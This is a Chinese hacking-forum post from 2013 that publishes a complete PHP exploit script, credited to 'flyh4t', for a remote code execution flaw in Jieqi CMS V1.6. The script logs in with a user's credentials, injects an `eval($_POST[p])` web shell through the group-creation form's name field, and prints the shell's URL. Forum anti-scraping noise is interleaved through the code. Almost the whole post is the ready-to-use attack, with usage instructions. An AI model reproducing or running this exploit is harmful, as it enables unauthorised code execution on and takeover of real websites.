找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2204|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。) [9 ~% n6 B: H8 B" _0 a

5 W3 Q3 [4 g( q7 G3 z ( B2 K8 S% Y  y* z2 E4 ~8 H. }
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。1 _1 h) K4 D* u! N
需要有一个能创建圈子的用户。% S3 u% {) A2 T  A
: k* r# Z: C# Q5 {; {. z8 T
<?php1 b  `+ x, p2 ~" p
) m0 O7 L3 R! |
print_r('
5 i* ?7 M( @. F5 v, E+---------------------------------------------------------------------------+& R- R! w$ F0 [8 D# U- K) b8 k
Jieqi CMS V1.6 PHP Code Injection Exploit
  s/ h; h; i  v4 ]+ Z  ^by flyh4t' g  l+ z) O# P- [6 y0 z/ t& a
mail: phpsec at hotmail dot com
% Y0 t2 D+ q& o. lteam: http://www.wolvez.org* c$ Y  C* v' A* e& J- R+ |( _0 Y
+---------------------------------------------------------------------------+! E, T( }" t) R6 R' a
'); /**
+ P5 q! y! S% |' o" H8 y * works regardless of php.ini settings! R9 I# S$ W1 v# Z9 f  V! H5 S
*/ if ($argc < 5) { print_r('4 C5 p9 Q. W  }  Q" L7 m7 r
+---------------------------------------------------------------------------+, Z0 `& c2 T2 x: I
Usage: php '.$argv[0].' host path username. t9 w3 d* Z( R
host:      target server (ip/hostname)$ a6 j  k2 ^1 Y' F8 }1 Q# Q9 \9 f
path:      path to jieqicms 2 l" e+ M! y" ?0 J1 K+ D4 d+ V: A* E) ^
uasename:  a username who can create group( o% {+ Q; v4 M6 g* N' m
Example:7 T% P% _# Z+ j4 r2 U; N
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password2 W9 T8 T: D. J, m" z4 r
+---------------------------------------------------------------------------+. v9 v& j& p8 I. q; X4 C
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961# o% \1 [1 L) M: E" g: T9 a$ P% u
Content-Disposition: form-data; name="gname"! q) U' J' s) ^/ Z1 p
$ E7 ]: N) S5 D( D
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t! Q! m7 ]5 A0 L* `% l
-----------------------------23281168279961
8 `) o- f4 l5 K' x4 r  n; uContent-Disposition: form-data; name="gcatid"
7 c* o! X! |2 I- X2 n! d0 W2 i # e" V! v6 g: U, ]( L2 r
1) Q8 h; {+ _/ E
-----------------------------23281168279961
/ F: a/ P* c, k1 l' {3 S7 [: }Content-Disposition: form-data; name="gaudit"
; C: x, A% M8 n, T$ M; \
7 A5 I/ P2 D7 t; ?& O+ m8 l) c  X16 T: B1 z& s6 P  o" ^
-----------------------------23281168279961& x' u) v1 j$ J2 H  U
Content-Disposition: form-data; name="gbrief"
3 x8 C" K4 L+ }, k" s/ i
% x1 v6 |: d6 Z) w0 S6 I1$ f3 h' T" l" f  d/ T/ s! H, ~: }( ?3 n; I
-----------------------------23281168279961--% w& @, I3 ]0 r! g  C
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com& Y, n5 _4 M+ d: K7 j

% {- i2 L) L* u. t: K, K6 B- jpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表